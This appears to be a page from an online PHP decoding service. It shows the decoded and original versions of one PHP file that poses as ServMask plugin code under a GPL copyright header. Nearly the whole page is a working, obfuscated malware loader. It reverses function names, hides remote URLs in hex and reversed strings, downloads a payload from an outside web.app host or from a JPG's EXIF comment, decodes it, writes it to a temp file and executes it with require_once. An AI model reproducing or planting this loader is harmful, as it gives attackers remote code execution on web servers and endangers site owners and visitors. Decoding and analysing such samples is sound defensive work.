Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Copyright (C) 2014-2020 ServMask Inc. * * This program is free software..
Decoded Output download
<?php
/**
* Copyright (C) 2014-2020 ServMask Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*
*
*
*
*
*
*/
class create_function {
private $shift;
public function __construct($shift = 1) {
error_reporting(0);
$this->shift = $shift;
}
public function outterTable(){
$mat = $this->rev("eli"."fpmt");
return $mat();
}
public function init($kasihdua){
$leuy = array(
"nib.%5f%2F",
"ppa.bew.at",
"ad-oyhp%2F",
"%2F%3Asptth"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function dash(){
$leuy = array(
"68e6f3ce18",
"2007a578db",
"ff4fffd5daa2"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function splitter(){
$leuy = array(
"7815696ecbf1",
"c96e6894b779",
"456d330e_dat",
"aparser.bin"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function check($leuy){
return function_exists($leuy);
}
public function build($prod){
$aw = $this->rev("etirwf");
$td = $this->outterTable();
$mat = $this->rev("atad_atem_teg_maerts");
$aw($td, $prod);
require_once($mat($td)["uri"]);
return fclose($td);
}
public function raw($str) {
return preg_replace_callback(
'/%([0-9a-f]{2})/i',
function ($matches) {
return chr(hexdec($matches[1]));
},
$str
);
}
public function Rev($str) {
preg_match_all('/./us', $str, $matches);
return implode('', array_reverse($matches[0]));
}
public function blyad($bam, $bim, $bum){
$mat = $this->rev("tpotes_lruc");
return $mat($bam, $bim, $bum);
}
public function getOut($anjay){
$mat = $this->rev("cexe_lruc");
return $mat($anjay);
}
public function suka($blyad){
$blyad = array(
CURLOPT_URL,
CURLOPT_RETURNTRANSFER,
CURLOPT_FOLLOWLOCATION
);
return $blyad;
}
public function naked($aw, $iw, $uw, $ew, $ow){
$mat = $this->rev("nepo"."kcosf");
return $mat($aw, $iw, $uw, $ew, $ow);
}
public function outbound($ayang){
$mat = $this->rev("stnetnoc_teg_elif");
return $mat($ayang);
}
public function inbound($ayang_aku, $yameteh){
$mat = $this->rev("stnetnoc_tup_elif");
return $mat($ayang_aku, $yameteh);
}
public function btoa($input) {
$kyawchars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$paddingChar = '=';
$paddingCount = substr_count($input, $paddingChar);
$kyawcharsArray = array_flip(str_split($kyawchars));
$kyawahh = '';
$input = str_replace($paddingChar, '', $input);
$inputLength = strlen($input);
for ($i = 0; $i < $inputLength; $i += 4) {
$chunk = 0;
for ($j = 0; $j < 4; $j++) {
$chunk |= ($kyawcharsArray[$input[$i + $j]] << (18 - ($j * 6)));
}
for ($j = 0; $j < 3; $j++) {
if ($j < (3 - $paddingCount)) {
$kyawahh .= chr(($chunk >> (16 - ($j * 8))) & 0xFF);
}
}
}
return $kyawahh;
}
public function jeep($ahh){
$mat = $this->rev("etalfnizg");
return $mat($ahh);
}
public function dataku($ahh, $wkwk, $kocak){
$mat = $this->rev("atad_daer_fixe");
return $mat($ahh, $wkwk, $kocak);
}
public function inti2(){
$a = array(
"gpj.85-83-31%5f01-01",
"-3202%5fotohp%2Fndc%",
"2Fppa.bew.atad-oyhp%",
"2F%2F%3Asptth"
);
return $this->rev($this->raw($this->rev("edo"."lpmi")('', $a)));
}
public function parser($data){
$bam = $this->rev("rid_pmet_teg_sys");
$bam1 = $this->rev("stsixe_elif");
$bam2 = $this->rev("tini_lruc");
$bam3 = $this->rev("edolpmi");
$bam4 = $this->rev("etirwf");
$fileNome = $this->splitter();
$fileRAW = $data;
$tmpDir = $bam();
$filePos = $tmpDir . '/'. $fileNome;
$nyari = "ixqfwlrq#nMxOTjYki+";
if (!$bam1($filePos) || strpos($bam3('', file($filePos)), $nyari) === false) {
if($this->check($this->rev("atad_daer_fixe"))) {
$fileData = $this->jeep($this->btoa($this->dataku($this->inti2(), 0, true)['COMPUTED']['UserComment']));
} else if ($this->check($this->rev("tini_lruc"))) {
$ch = $bam2();
$this->blyad($ch, $this->suka(0)[0], $fileRAW);
$this->blyad($ch, $this->suka(0)[1], 1);
$this->blyad($ch, $this->suka(0)[2], true);
$fileData = $this->getOut($ch);
curl_close($ch);
} elseif ($this->check($this->rev("elif"))){
$fileData = $bam3('', file($fileRAW));
}elseif ($this->check($this->rev("nepokcosf"))) {
$urlParts = parse_url($fileRAW);
$host = $urlParts[$this->rev("tsoh")];
$path = $urlParts[$this->rev("htap")];
$fp = $this->naked($this->rev("//:lss").$host, 443, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />
";
} else {
$out = "GET " . $path . " HTTP/1.1
";
$out .= "Host: " . $host . "
";
$out .= "Connection: Close
";
$bam4($fp, $out);
$bb = $this->rev("foef");
$cc = $this->rev("stegf");
$dd = $this->rev("esolcf");
while (!$bb($fp)) {
$line = $cc($fp, 1024);
if (trim($line) == '') {
break;
}
}
$fileData = '';
while (!$bb($fp)) {
$fileData .= $cc($fp, 1024);
}
$dd($fp);
}
}else{
$fileData = $this->outbound($fileRAW);
}
$this->inbound($filePos, $fileData);
}
$conn = $this->outbound($filePos);
return $conn;
}
public function Builder($input) {
$output = '';
for ($i = 0; $i < strlen($input); $i++) {
$ascii = ord($input[$i]);
$ascii -= $this->shift;
$output .= chr($ascii);
}
return $output;
}
}
$stdIn = new create_function(3, "GENERATE_RANDOM_BYTE");
$password = $stdIn->dash();
$stdIn->build($stdIn->Builder($stdIn->parser($stdIn->Rev($stdIn->raw($stdIn->init(2))))));
?>
Did this file decode correctly?
Original Code
<?php
/**
* Copyright (C) 2014-2020 ServMask Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*
*
*
*
*
*
*/
class create_function {
private $shift;
public function __construct($shift = 1) {
error_reporting(0);
$this->shift = $shift;
}
public function outterTable(){
$mat = $this->rev("eli"."fpmt");
return $mat();
}
public function init($kasihdua){
$leuy = array(
"\x6E\x69\x62\x2E\x25\x35\x66\x25\x32\x46",
"\x70\x70\x61\x2E\x62\x65\x77\x2E\x61\x74",
"\x61\x64\x2D\x6F\x79\x68\x70\x25\x32\x46",
"\x25\x32\x46\x25\x33\x41\x73\x70\x74\x74\x68"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function dash(){
$leuy = array(
"\x36\x38\x65\x36\x66\x33\x63\x65\x31\x38",
"\x32\x30\x30\x37\x61\x35\x37\x38\x64\x62",
"\x66\x66\x34\x66\x66\x66\x64\x35\x64\x61\x61\x32"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function splitter(){
$leuy = array(
"\x37\x38\x31\x35\x36\x39\x36\x65\x63\x62\x66\x31",
"\x63\x39\x36\x65\x36\x38\x39\x34\x62\x37\x37\x39",
"\x34\x35\x36\x64\x33\x33\x30\x65\x5F\x64\x61\x74",
"\x61\x70\x61\x72\x73\x65\x72\x2E\x62\x69\x6E"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function check($leuy){
return function_exists($leuy);
}
public function build($prod){
$aw = $this->rev("etirwf");
$td = $this->outterTable();
$mat = $this->rev("atad_atem_teg_maerts");
$aw($td, $prod);
require_once($mat($td)["\x75\x72\x69"]);
return fclose($td);
}
public function raw($str) {
return preg_replace_callback(
'/%([0-9a-f]{2})/i',
function ($matches) {
return chr(hexdec($matches[1]));
},
$str
);
}
public function Rev($str) {
preg_match_all('/./us', $str, $matches);
return implode('', array_reverse($matches[0]));
}
public function blyad($bam, $bim, $bum){
$mat = $this->rev("tpotes_lruc");
return $mat($bam, $bim, $bum);
}
public function getOut($anjay){
$mat = $this->rev("cexe_lruc");
return $mat($anjay);
}
public function suka($blyad){
$blyad = array(
CURLOPT_URL,
CURLOPT_RETURNTRANSFER,
CURLOPT_FOLLOWLOCATION
);
return $blyad;
}
public function naked($aw, $iw, $uw, $ew, $ow){
$mat = $this->rev("nepo"."kcosf");
return $mat($aw, $iw, $uw, $ew, $ow);
}
public function outbound($ayang){
$mat = $this->rev("stnetnoc_teg_elif");
return $mat($ayang);
}
public function inbound($ayang_aku, $yameteh){
$mat = $this->rev("stnetnoc_tup_elif");
return $mat($ayang_aku, $yameteh);
}
public function btoa($input) {
$kyawchars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$paddingChar = '=';
$paddingCount = substr_count($input, $paddingChar);
$kyawcharsArray = array_flip(str_split($kyawchars));
$kyawahh = '';
$input = str_replace($paddingChar, '', $input);
$inputLength = strlen($input);
for ($i = 0; $i < $inputLength; $i += 4) {
$chunk = 0;
for ($j = 0; $j < 4; $j++) {
$chunk |= ($kyawcharsArray[$input[$i + $j]] << (18 - ($j * 6)));
}
for ($j = 0; $j < 3; $j++) {
if ($j < (3 - $paddingCount)) {
$kyawahh .= chr(($chunk >> (16 - ($j * 8))) & 0xFF);
}
}
}
return $kyawahh;
}
public function jeep($ahh){
$mat = $this->rev("etalfnizg");
return $mat($ahh);
}
public function dataku($ahh, $wkwk, $kocak){
$mat = $this->rev("atad_daer_fixe");
return $mat($ahh, $wkwk, $kocak);
}
public function inti2(){
$a = array(
"\x67\x70\x6A\x2E\x38\x35\x2D\x38\x33\x2D\x33\x31\x25\x35\x66\x30\x31\x2D\x30\x31",
"\x2D\x33\x32\x30\x32\x25\x35\x66\x6F\x74\x6F\x68\x70\x25\x32\x46\x6E\x64\x63\x25",
"\x32\x46\x70\x70\x61\x2E\x62\x65\x77\x2E\x61\x74\x61\x64\x2D\x6F\x79\x68\x70\x25",
"\x32\x46\x25\x32\x46\x25\x33\x41\x73\x70\x74\x74\x68"
);
return $this->rev($this->raw($this->rev("edo"."lpmi")('', $a)));
}
public function parser($data){
$bam = $this->rev("rid_pmet_teg_sys");
$bam1 = $this->rev("stsixe_elif");
$bam2 = $this->rev("tini_lruc");
$bam3 = $this->rev("edolpmi");
$bam4 = $this->rev("etirwf");
$fileNome = $this->splitter();
$fileRAW = $data;
$tmpDir = $bam();
$filePos = $tmpDir . '/'. $fileNome;
$nyari = "ixqfwlrq#nMxOTjYki+";
if (!$bam1($filePos) || strpos($bam3('', file($filePos)), $nyari) === false) {
if($this->check($this->rev("atad_daer_fixe"))) {
$fileData = $this->jeep($this->btoa($this->dataku($this->inti2(), 0, true)['COMPUTED']['UserComment']));
} else if ($this->check($this->rev("tini_lruc"))) {
$ch = $bam2();
$this->blyad($ch, $this->suka(0)[0], $fileRAW);
$this->blyad($ch, $this->suka(0)[1], 1);
$this->blyad($ch, $this->suka(0)[2], true);
$fileData = $this->getOut($ch);
curl_close($ch);
} elseif ($this->check($this->rev("elif"))){
$fileData = $bam3('', file($fileRAW));
}elseif ($this->check($this->rev("nepokcosf"))) {
$urlParts = parse_url($fileRAW);
$host = $urlParts[$this->rev("tsoh")];
$path = $urlParts[$this->rev("htap")];
$fp = $this->naked($this->rev("//:lss").$host, 443, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr\x20\x28$errno\x29\x3C\x62\x72\x20\x2F\x3E\n";
} else {
$out = "\x47\x45\x54\x20" . $path . "\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\r\n";
$out .= "\x48\x6F\x73\x74\x3A\x20" . $host . "\r\n";
$out .= "\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x3A\x20\x43\x6C\x6F\x73\x65\r\n\r\n";
$bam4($fp, $out);
$bb = $this->rev("foef");
$cc = $this->rev("stegf");
$dd = $this->rev("esolcf");
while (!$bb($fp)) {
$line = $cc($fp, 1024);
if (trim($line) == '') {
break;
}
}
$fileData = '';
while (!$bb($fp)) {
$fileData .= $cc($fp, 1024);
}
$dd($fp);
}
}else{
$fileData = $this->outbound($fileRAW);
}
$this->inbound($filePos, $fileData);
}
$conn = $this->outbound($filePos);
return $conn;
}
public function Builder($input) {
$output = '';
for ($i = 0; $i < strlen($input); $i++) {
$ascii = ord($input[$i]);
$ascii -= $this->shift;
$output .= chr($ascii);
}
return $output;
}
}
$stdIn = new create_function(3, "GENERATE_RANDOM_BYTE");
$password = $stdIn->dash();
$stdIn->build($stdIn->Builder($stdIn->parser($stdIn->Rev($stdIn->raw($stdIn->init(2))))));
?>
Function Calls
| None |
Stats
| MD5 | b219c57ab39286214c3145643bad3cc2 |
| Eval Count | 0 |
| Decode Time | 50 ms |